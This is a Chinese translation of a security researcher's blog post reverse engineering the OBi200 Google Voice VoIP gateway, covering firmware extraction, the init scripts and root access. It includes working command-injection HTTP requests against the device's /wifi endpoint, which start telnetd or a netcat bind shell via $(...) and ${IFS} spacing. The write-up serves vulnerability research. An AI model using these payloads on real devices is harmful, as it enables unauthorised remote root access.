-
-
[翻译]逆向Google Voice设备OBi200 （一）
-
发表于: 2017-10-18 22:22
-
逆向Google Voice设备OBi200 （一）
首先，大概了解一下这个OBi200到底是什么东西。以下是一些摘自Obi200官网的内容：
拥有Obi200，你就可以掌控你的数字or模拟通信交流。通过经由ObiTALK网络连接的终端或是VoIP服务，你将能呼叫和接听电话、收发传真, 以及桥接移动、 固定线路和网络电话服务。OBi200 支持T.38传真标准的可靠的传真呼叫。
主要特征：
>同时支持4个SIP账户在线
>通过Phone接口接入扩展服务
>4 SIP和1 OBiTALK服务聚合/桥接
>自动话务简化呼叫路由
>自动回拨服务
OK，以下为正文：
Obi200为集成Google Voice的家用/家居办公VoIP网关。它支持大多数标准VoIP功能并且能整合任何便携设备的SIP服务。我在今年早些时候买了一个作为家庭座机，到目前为止，一切正常。在进一步使用之前，我决定深入探究其工作原理。
固件分析
进入设备，打开Web界面，我做的第一件事便是查看预装固件版本：
由上图，Obi200 预装固件为3.0.1(Build:4492)。从Obihai网站查询得知，最新版本为3.1.1(Build:5463EX)——显然，我的固件有待更新。不过，我并没有立即升级，或许能从旧固件中发现某些被修复的漏洞呢。
接下来，我从Obi网站上获得了固件。虽未能找到与我的设备完全对应的版本，不过3.0.1（Build:4738）这个版本对于我的目标已经够接近了。经binwlak扫描，得到如下结果：
注意到上图显示，存在Squashfs Image以及ARM uImage文件。这看起来有希望进行更进一步的探究，于是我将他们解压到我的本地文件系统上。
通过对这些文件，我得以更进一步地了解到其底层实现。这是/etc/passwd 文件:
root::0:0:root:/root:/bin/sh bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/usr/sbin: sys:*:3:3:sys:/dev: adm:*:4:4:adm:/var/adm: lp:*:5:7:lp:/var/spool/lpd: sync:*:6:8:sync:/bin:/bin/sync shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown halt:*:8:10:halt:/sbin:/sbin/halt mail:*:9:11:mail:/var/spool/mail: news:*:10:12:news:/var/spool/news: uucp:*:11:13:uucp:/var/spool/uucp: operator:*:12:0:operator:/root: games:*:13:100:games:/usr/games: ftp:*:15:14:ftp:/var/ftp: man:*:16:100:man:/var/cache/man: nobody:*:65534:65534:nobody:/home:/bin/sh
/bin/swcfg-pw0000x3800 hostname OBi202 #hostname FFxAV mount-tproc proc/proc # Create /var on RAM disk mount-tramfs none/var mkdir/var/lib mkdir/var/run mkdir/var/log mkdir/var/ppp mkdir/var/tmp cp-p/etc/ppp.ori/*/var/ppp touch/var/tmp/resolv.conf # #mount -t squashfs /dev/mtdblock7 /obi # Making the /etc directory point to MTD4 # mount -t jffs2 /dev/mtdblock4 /etc -o sync # Making the /etc directory point to MTD4 # mount -t jffs2 /dev/mtdblock4 /scratch -o sync # gateway begin mount-tsysfs none/sys mkdir/var/run/ppp-p# needed by pppd mkdir/var/log/ppp-p mkdir/var/lock# needed by wvdial #echo "******** Start udev" mount-n-ttmpfs-omode=0755udev/dev cp-a-f/dev0/*/dev # It's all over netlink now if[-e/proc/sys/kernel/hotplug];then echo"">/proc/sys/kernel/hotplug fi #udevd --daemon #echo "start monitor" #udevadm monitor -e >/dev/.udev.log & #UDEV_MONITOR_PID=$! #echo "start trigger" #udevadm trigger #echo "start settle" #udevadm settle #kill $UDEV_MONITOR_PID mount-ttmpfs none/dev/shm-osize=512K mount-tdevpts none/dev/pts #mknod -m 644 /dev/urandom c 1 9 #chown root /dev/urandom echo"******** Start syslogd" touch/var/log/messages syslogd # gateway end # Start network device cd/etc #. ./rc.net & ../rc.net cd/ echo"===> Obi <===" cd/obi #cd /usr/local/obi ./obi&
注意到，以上对调试/开发的注释，让我们更多地了解到系统环境：经过初始化后，脚本将进入系统预定目录 / obi /，并启动主 obi 脚本（最终是 obiapp二进制文件）。
弹出shell
通过对这些文件的快速搜索，我找到了一份关于去年Obihai的Obi1000 IP Phone产品的漏洞披露。由于其中有一个PoC提及了obiapp二进制文件并且在Obi200有相似的URI结构，这看起来似乎在这两款产品中有某些共享代码，我测试了我的硬件上的命令注入漏洞并验证了由此导致的设备重启：
GET /wifi?checkssid=$(reboot) HTTP/1.1
Host: OBi202
GET /wifi?checkssid=$(telnetd -p 2280 &) HTTP/1.1
Host: OBi202
附加注入
我很好奇它是否还存在其他相似的注入点，于是我决定进一步地探索。我在IDA反汇编了obiapp 二进制文件，发现了路由上述checkssid请求的决策点。在邻近的地方，我还发现了另外几个相同的 问题。
一组PoC：
GET /wifi?reconnect=$(telnetd -p 2280 &) HTTP/1.1
Host: OBi202
GET /wifi?conf_cc_adhoc=$(nc${IFS}-l${IFS}-p${IFS}2281${IFS}-e${IFS}/bin/sh) HTTP/1.1
Host: OBi202
可以看到，上面的第二个请求由于经过格式化，显得看起来有些异常，这是由于程序进程在将其传递给system()调用前并未解码空格所致。
终极root
在最近更新的固件中，上面提到的post漏洞已经被修复了，我希望即使在升级固件后仍能拥有root。我以获取得命令行接口作为我的终极赌注，通过grep 搜索dmesg ,了解到串口的一些信息：
由上图可知，串口监听/dev/ttyS0,现在只剩找到主板的调试接口了。
在本文的第2 部分，我将专注于通过UART接口获取系统的访问，敬请期待哦！。
原文：https://randywestergren.com/reverse-engineering-obi200-google-voice-appliance-part-1/
译/ 看雪翻译小组StrokMitream
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
